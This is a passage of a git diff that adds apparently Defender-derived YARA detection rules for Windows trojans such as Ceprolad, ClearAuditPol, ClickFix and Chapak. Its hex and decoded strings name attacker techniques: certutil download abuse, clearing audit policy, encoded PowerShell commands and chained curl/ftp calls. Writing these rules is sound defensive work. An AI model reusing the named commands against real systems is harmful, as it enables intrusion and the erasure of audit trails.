10 05 78 2b 41 00 66 89 85 e8 fe ff ff 8d 85 f8 fe ff ff 68 00 01 00 00 0f 11 85 d0 fe ff ff 50 f3 0f 7e 05 88 2b 41 00 68 94 2b 41 00 } //2 + $a_01_1 = {8b ca 83 e1 03 68 08 2b 41 00 f3 a4 68 01 00 00 80 ff 15 04 e0 40 00 85 c0 75 49 8d 8d f8 fe ff ff 8d 51 02 0f 1f 44 00 00 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca d1 f9 8d 04 09 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/BroomStick/Trojan_Win32_BroomStick_Z_MTB.yar b/Trojan/Win32/BroomStick/Trojan_Win32_BroomStick_Z_MTB.yar new file mode 100644 index 0000000000..4b807108d8 --- /dev/null +++ b/Trojan/Win32/BroomStick/Trojan_Win32_BroomStick_Z_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_BroomStick_Z_MTB{ + meta: + description = "Trojan:Win32/BroomStick.Z!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {3b f7 7c db 5f 5e 5b } //1 + $a_00_1 = {8b 85 10 ff ff ff 8b 00 8b 70 18 8d 45 a8 } //1 + $a_00_2 = {85 c0 74 25 8d 3c 40 03 ff 83 ef 06 8b d3 } //1 + $a_00_3 = {8b 5d d8 ff 00 33 f6 8b 00 0f b6 08 } //1 + $a_02_4 = {8b ce ff 15 [0-20] 8b cf ff d6 8b 85 28 ff ff ff } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_AB_MTB.yar b/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_AB_MTB.yar new file mode 100644 index 0000000000..479b11cf35 --- /dev/null +++ b/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_BypassUAC_AB_MTB{ + meta: + description = "Trojan:Win32/BypassUAC.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4d f8 21 38 95 93 2a 20 31 18 d5 1f 1e 38 31 34 81 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_A_MTB.yar b/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_A_MTB.yar new file mode 100644 index 0000000000..e94ee710fd --- /dev/null +++ b/Trojan/Win32/BypassUAC/Trojan_Win32_BypassUAC_A_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_BypassUAC_A_MTB{ + meta: + description = "Trojan:Win32/BypassUAC.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 81 d1 06 00 00 00 48 c7 44 24 00 09 f4 84 ca 48 ff 44 24 00 48 c1 74 24 00 9a 0f ad d6 68 ba 35 01 8f 41 89 31 e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/C2Lop/Trojan_Win32_C2Lop_Q.yar b/Trojan/Win32/C2Lop/Trojan_Win32_C2Lop_Q.yar index 41494164f8..83f6207818 100644 --- a/Trojan/Win32/C2Lop/Trojan_Win32_C2Lop_Q.yar +++ b/Trojan/Win32/C2Lop/Trojan_Win32_C2Lop_Q.yar @@ -6,7 +6,7 @@ rule Trojan_Win32_C2Lop_Q{ strings : $a_11_0 = {5c 2e 5c 50 68 79 73 69 01 } //1 $a_70_1 = {2f 2f 75 70 64 2e 90 02 06 32 35 35 2d 32 35 35 2d 32 } //8192 - $a_02_2 = {05 2e 63 6f 6d 2f 90 00 01 00 0c 09 4b 45 52 4e 45 4c 33 32 2e 44 4c 4c 01 00 09 09 4e 54 44 4c 4c 2e 44 4c 4c 00 00 5d 04 00 00 10 2f 02 00 5c 39 00 00 1f 2f 02 00 00 00 02 00 01 00 21 00 4d 69 73 6c 65 61 64 69 6e 67 3a 57 69 6e 33 32 2f 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 00 00 27 40 23 00 04 82 0e 00 04 00 61 77 00 00 05 00 05 00 05 00 00 01 00 28 4d 00 69 00 72 00 61 00 63 00 6c 00 65 00 20 00 54 00 65 00 63 00 } //13621 + $a_02_2 = {05 2e 63 6f 6d 2f 90 00 01 00 0c 09 4b 45 52 4e 45 4c 33 32 2e 44 4c 4c 01 00 09 09 4e 54 44 4c 4c 2e 44 4c 4c 00 00 5d 04 00 00 10 2f 02 00 5c 39 00 00 1f 2f 02 00 00 00 02 00 01 00 21 00 4d 69 73 6c 65 61 64 69 6e 67 3a 57 69 6e 33 32 2f 50 65 72 66 65 63 74 4f 70 74 69 6d 69 7a 65 72 00 00 29 40 23 00 04 82 0e 00 04 00 61 77 00 00 05 00 05 00 05 00 00 01 00 28 4d 00 69 00 72 00 61 00 63 00 6c 00 65 00 20 00 54 00 65 00 63 00 } //13621 $a_00_3 = {6f 00 6c 00 6f 00 67 00 69 00 65 00 73 00 01 00 18 68 74 74 70 3a 2f 2f 36 37 2e 31 38 2e 31 31 31 2e 38 32 3a 38 30 38 38 01 00 0b 5c 57 65 73 6b 79 73 6f 66 74 5c 01 00 0b 4c 69 63 65 6e 73 65 2e 44 4c 4c 01 00 09 49 73 56 61 6c 69 64 53 4e 00 00 61 82 00 00 05 00 05 00 05 00 00 01 00 16 5c 00 57 00 65 00 73 00 6b 00 79 00 73 } //104 condition: ((#a_11_0 & 1)*1+(#a_70_1 & 1)*8192+(#a_02_2 & 1)*13621+(#a_00_3 & 1)*104) >=4 diff --git a/Trojan/Win32/Ceprolad/Trojan_Win32_Ceprolad_A.yar b/Trojan/Win32/Ceprolad/Trojan_Win32_Ceprolad_A.yar index 0ccb7aa2d5..89864142cf 100644 --- a/Trojan/Win32/Ceprolad/Trojan_Win32_Ceprolad_A.yar +++ b/Trojan/Win32/Ceprolad/Trojan_Win32_Ceprolad_A.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_Ceprolad_A{ meta: - description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 0e 00 00 " + description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 0f 00 00 " strings : $a_00_0 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 } //100 certutil @@ -18,13 +18,14 @@ rule Trojan_Win32_Ceprolad_A{ $a_00_11 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 73 00 36 00 34 00 2e 00 63 00 6f 00 6d 00 } //-50 https://ss64.com $a_02_12 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 61 00 62 00 62 00 [0-ff] 2e 00 63 00 72 00 6c 00 } //-50 $a_00_13 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 70 00 61 00 72 00 65 00 6e 00 63 00 79 00 2e 00 6d 00 69 00 63 00 68 00 69 00 67 00 61 00 6e 00 2e 00 67 00 6f 00 76 00 } //-50 https://transparency.michigan.gov + $a_00_14 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 66 00 69 00 6f 00 2d 00 36 00 32 00 38 00 33 00 33 00 65 00 37 00 62 00 61 00 65 00 37 00 38 00 38 00 61 00 36 00 39 00 37 00 33 00 63 00 64 00 66 00 38 00 64 00 35 00 2e 00 63 00 72 00 6c 00 } //-50 http://localhost/fio-62833e7bae788a6973cdf8d5.crl condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*10+(#a_02_6 & 1)*-50+(#a_00_7 & 1)*-50+(#a_00_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_02_12 & 1)*-50+(#a_00_13 & 1)*-50) >=112 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*10+(#a_02_6 & 1)*-50+(#a_00_7 & 1)*-50+(#a_00_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_02_12 & 1)*-50+(#a_00_13 & 1)*-50+(#a_00_14 & 1)*-50) >=112 } rule Trojan_Win32_Ceprolad_A_2{ meta: - description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 13 00 00 " + description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,70 00 70 00 16 00 00 " strings : $a_00_0 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 } //100 certutil @@ -46,13 +47,16 @@ rule Trojan_Win32_Ceprolad_A_2{ $a_02_16 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 61 00 62 00 62 00 [0-ff] 2e 00 63 00 72 00 6c 00 } //-50 $a_02_17 = {61 00 62 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 62 00 62 00 [0-ff] 2e 00 63 00 72 00 6c 00 } //-50 $a_00_18 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 70 00 61 00 72 00 65 00 6e 00 63 00 79 00 2e 00 6d 00 69 00 63 00 68 00 69 00 67 00 61 00 6e 00 2e 00 67 00 6f 00 76 00 } //-50 https://transparency.michigan.gov + $a_00_19 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 63 00 63 00 62 00 64 00 69 00 73 00 74 00 77 00 65 00 62 00 2e 00 63 00 68 00 2e 00 69 00 6e 00 74 00 65 00 6c 00 2e 00 63 00 6f 00 6d 00 } //-50 http://ccbdistweb.ch.intel.com + $a_00_20 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 6b 00 63 00 63 00 6f 00 64 00 65 00 73 00 69 00 67 00 6e 00 69 00 6e 00 67 00 76 00 32 00 2e 00 76 00 61 00 75 00 6c 00 74 00 2e 00 61 00 7a 00 75 00 72 00 65 00 2e 00 6e 00 65 00 74 00 } //-50 https://tkccodesigningv2.vault.azure.net + $a_00_21 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 66 00 69 00 6f 00 2d 00 36 00 32 00 38 00 33 00 33 00 65 00 37 00 62 00 61 00 65 00 37 00 38 00 38 00 61 00 36 00 39 00 37 00 33 00 63 00 64 00 66 00 38 00 64 00 35 00 2e 00 63 00 72 00 6c 00 } //-50 http://localhost/fio-62833e7bae788a6973cdf8d5.crl condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*10+(#a_02_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_00_12 & 1)*-50+(#a_00_13 & 1)*-50+(#a_00_14 & 1)*-50+(#a_00_15 & 1)*-50+(#a_02_16 & 1)*-50+(#a_02_17 & 1)*-50+(#a_00_18 & 1)*-50) >=112 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*10+(#a_02_8 & 1)*-50+(#a_00_9 & 1)*-50+(#a_00_10 & 1)*-50+(#a_00_11 & 1)*-50+(#a_00_12 & 1)*-50+(#a_00_13 & 1)*-50+(#a_00_14 & 1)*-50+(#a_00_15 & 1)*-50+(#a_02_16 & 1)*-50+(#a_02_17 & 1)*-50+(#a_00_18 & 1)*-50+(#a_00_19 & 1)*-50+(#a_00_20 & 1)*-50+(#a_00_21 & 1)*-50) >=112 } rule Trojan_Win32_Ceprolad_A_3{ meta: - description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 18 00 00 " + description = "Trojan:Win32/Ceprolad.A,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 1a 00 00 " strings : $a_02_0 = {2d 00 75 00 72 00 6c 00 63 00 61 00 63 00 68 00 65 00 20 00 [0-20] 73 00 70 00 6c 00 69 00 74 00 20 00 [0-20] 2d 00 66 00 20 00 [0-20] 68 00 74 00 74 00 70 00 } //1 @@ -79,7 +83,9 @@ rule Trojan_Win32_Ceprolad_A_3{ $a_02_21 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 61 00 62 00 62 00 [0-ff] 2e 00 63 00 72 00 6c 00 } //-50 $a_02_22 = {61 00 62 00 62 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 62 00 62 00 [0-ff] 2e 00 63 00 72 00 6c 00 } //-50 $a_00_23 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 74 00 72 00 61 00 6e 00 73 00 70 00 61 00 72 00 65 00 6e 00 63 00 79 00 2e 00 6d 00 69 00 63 00 68 00 69 00 67 00 61 00 6e 00 2e 00 67 00 6f 00 76 00 } //-50 https://transparency.michigan.gov + $a_00_24 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 63 00 63 00 62 00 64 00 69 00 73 00 74 00 77 00 65 00 62 00 2e 00 63 00 68 00 2e 00 69 00 6e 00 74 00 65 00 6c 00 2e 00 63 00 6f 00 6d 00 } //-50 http://ccbdistweb.ch.intel.com + $a_00_25 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 2f 00 66 00 69 00 6f 00 2d 00 36 00 32 00 38 00 33 00 33 00 65 00 37 00 62 00 61 00 65 00 37 00 38 00 38 00 61 00 36 00 39 00 37 00 33 00 63 00 64 00 66 00 38 00 64 00 35 00 2e 00 63 00 72 00 6c 00 } //-50 http://localhost/fio-62833e7bae788a6973cdf8d5.crl condition: - ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*-5+(#a_00_16 & 1)*-50+(#a_00_17 & 1)*-50+(#a_00_18 & 1)*-50+(#a_00_19 & 1)*-50+(#a_00_20 & 1)*-50+(#a_02_21 & 1)*-50+(#a_02_22 & 1)*-50+(#a_00_23 & 1)*-50) >=1 + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*1+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_02_12 & 1)*1+(#a_02_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*-5+(#a_00_16 & 1)*-50+(#a_00_17 & 1)*-50+(#a_00_18 & 1)*-50+(#a_00_19 & 1)*-50+(#a_00_20 & 1)*-50+(#a_02_21 & 1)*-50+(#a_02_22 & 1)*-50+(#a_00_23 & 1)*-50+(#a_00_24 & 1)*-50+(#a_00_25 & 1)*-50) >=1 } \ No newline at end of file diff --git a/Trojan/Win32/Cerber/Trojan_Win32_Cerber_ENE_MTB.yar b/Trojan/Win32/Cerber/Trojan_Win32_Cerber_ENE_MTB.yar new file mode 100644 index 0000000000..3a09e22e52 --- /dev/null +++ b/Trojan/Win32/Cerber/Trojan_Win32_Cerber_ENE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Cerber_ENE_MTB{ + meta: + description = "Trojan:Win32/Cerber.ENE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {40 00 5c 91 40 00 dc 32 cb 01 00 c0 42 00 f8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_CMX_MTB.yar b/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_CMX_MTB.yar new file mode 100644 index 0000000000..ff0f04a1b6 --- /dev/null +++ b/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_CMX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CerberCrypt_CMX_MTB{ + meta: + description = "Trojan:Win32/CerberCrypt.CMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {8a 06 90 32 c2 90 88 07 90 } //1 + $a_01_1 = {46 90 47 90 49 90 83 f9 00 90 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_MX_MTB.yar b/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_MX_MTB.yar new file mode 100644 index 0000000000..5ea70ead5e --- /dev/null +++ b/Trojan/Win32/CerberCrypt/Trojan_Win32_CerberCrypt_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CerberCrypt_MX_MTB{ + meta: + description = "Trojan:Win32/CerberCrypt.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {32 c2 90 88 07 90 42 90 46 90 47 90 49 90 83 f9 } //1 + $a_01_1 = {8a 06 90 32 c2 88 07 42 46 47 49 90 83 f9 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Cerbu/Trojan_Win32_Cerbu_MBY_MTB.yar b/Trojan/Win32/Cerbu/Trojan_Win32_Cerbu_MBY_MTB.yar new file mode 100644 index 0000000000..79fded855b --- /dev/null +++ b/Trojan/Win32/Cerbu/Trojan_Win32_Cerbu_MBY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Cerbu_MBY_MTB{ + meta: + description = "Trojan:Win32/Cerbu.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {03 c2 8b ce 81 fa ?? ?? ?? 00 0f 43 c8 4e 8a 01 88 04 1a 42 8b 44 24 0c 81 fa ?? ?? ?? 00 72 e0 } //2 + $a_03_1 = {8d 0c 1a 8d 42 01 42 30 01 81 fa ?? ?? ?? 00 72 ef } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAAL_MTB.yar b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAAL_MTB.yar new file mode 100644 index 0000000000..af6b10d83a --- /dev/null +++ b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAAL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Chapak_EAAL_MTB{ + meta: + description = "Trojan:Win32/Chapak.EAAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_02_0 = {8a 8c 31 f5 d0 00 00 8b 15 ?? ?? ?? ?? 88 0c 32 46 3b f0 72 } //1 + $a_02_1 = {8b 45 08 8d 0c 07 e8 ?? ?? ?? ?? 30 01 47 3b fb 7c } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAEA_MTB.yar b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAEA_MTB.yar new file mode 100644 index 0000000000..0d45045319 --- /dev/null +++ b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAEA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Chapak_EAEA_MTB{ + meta: + description = "Trojan:Win32/Chapak.EAEA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 4d f4 8b 45 f8 8b 55 f0 03 c1 8a 14 02 41 88 10 89 4d f4 3b 0d dc 94 42 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAFR_MTB.yar b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAFR_MTB.yar new file mode 100644 index 0000000000..d042f0995f --- /dev/null +++ b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAFR_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Chapak_EAFR_MTB{ + meta: + description = "Trojan:Win32/Chapak.EAFR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8a 84 01 e1 bf 01 00 8b 15 ?? ?? ?? ?? 88 04 11 41 3b 0d } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} +rule Trojan_Win32_Chapak_EAFR_MTB_2{ + meta: + description = "Trojan:Win32/Chapak.EAFR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8a 84 06 e1 bf 01 00 8b 0d ?? ?? ?? ?? 88 04 0e 46 3b 35 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAUM_MTB.yar b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAUM_MTB.yar new file mode 100644 index 0000000000..20869f5bb8 --- /dev/null +++ b/Trojan/Win32/Chapak/Trojan_Win32_Chapak_EAUM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Chapak_EAUM_MTB{ + meta: + description = "Trojan:Win32/Chapak.EAUM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8a 94 01 3b 2d 0b 00 8b 0d ?? ?? ?? ?? 88 14 01 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClearAuditPol/Trojan_Win32_ClearAuditPol_B.yar b/Trojan/Win32/ClearAuditPol/Trojan_Win32_ClearAuditPol_B.yar new file mode 100644 index 0000000000..ba804361fb --- /dev/null +++ b/Trojan/Win32/ClearAuditPol/Trojan_Win32_ClearAuditPol_B.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClearAuditPol_B{ + meta: + description = "Trojan:Win32/ClearAuditPol.B,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_02_0 = {5c 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 [0-08] 20 00 2f 00 63 00 6c 00 65 00 61 00 72 00 [0-08] 20 00 2f 00 79 00 } //10 + $a_02_1 = {20 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 20 00 [0-08] 20 00 2f 00 63 00 6c 00 65 00 61 00 72 00 [0-08] 20 00 2f 00 79 00 } //10 + $a_02_2 = {5c 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 [0-08] 20 00 2f 00 72 00 65 00 6d 00 6f 00 76 00 65 00 [0-08] 20 00 2f 00 79 00 } //10 + $a_02_3 = {20 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 20 00 [0-08] 20 00 2f 00 72 00 65 00 6d 00 6f 00 76 00 65 00 [0-08] 20 00 2f 00 79 00 } //10 + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_02_3 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAA.yar new file mode 100644 index 0000000000..e11eb3c0c3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_AAA{ + meta: + description = "Trojan:Win32/ClickFix.AAA,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {13 20 65 00 4e 00 63 00 6f } //1 + $a_00_2 = {75 00 77 00 62 00 30 00 61 00 67 00 65 00 61 00 63 00 67 00 62 00 30 00 61 00 63 00 30 00 61 00 75 00 61 00 62 00 79 00 61 00 67 00 38 00 61 00 79 00 77 00 62 00 6c 00 61 00 68 00 6d 00 61 00 63 00 77 00 61 00 67 00 61 00 63 00 69 00 61 00 61 00 61 00 62 00 30 00 61 00 68 00 71 00 61 00 63 00 61 00 61 00 36 00 61 00 } //1 uwb0ageacgb0ac0auabyag8aywblahmacwagaciaaab0ahqacaa6a + $a_00_3 = {67 00 75 00 61 00 7a 00 61 00 61 00 39 00 61 00 68 00 71 00 61 00 63 00 67 00 62 00 31 00 61 00 67 00 75 00 61 00 69 00 67 00 61 00 67 00 61 00 61 00 3d 00 3d 00 } //1 guazaa9ahqacgb1aguaigagaa== + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAAG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAAG_MTB.yar new file mode 100644 index 0000000000..d64f3e8511 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAAG_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_AAAAG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAAAG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 } //1 && curl + $a_00_1 = {2e 00 6c 00 6f 00 67 00 20 00 26 00 26 00 } //1 .log && + $a_00_2 = {26 00 26 00 20 00 66 00 74 00 70 00 } //1 && ftp + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAG_MTB.yar new file mode 100644 index 0000000000..9349877d01 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAAG_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_AAAG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAAG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_00_0 = {26 00 26 00 20 00 63 00 75 00 72 00 6c 00 } //1 && curl + $a_00_1 = {2e 00 6c 00 6f 00 67 00 } //1 .log + $a_00_2 = {26 00 26 00 20 00 66 00 74 00 70 00 } //1 && ftp + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_4 = {61 00 77 00 70 00 64 00 63 00 2e 00 63 00 6f 00 6d 00 } //-100 awpdc.com + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAC_MTB.yar new file mode 100644 index 0000000000..0c0709e07c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_AAC_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_AAC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.AAC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 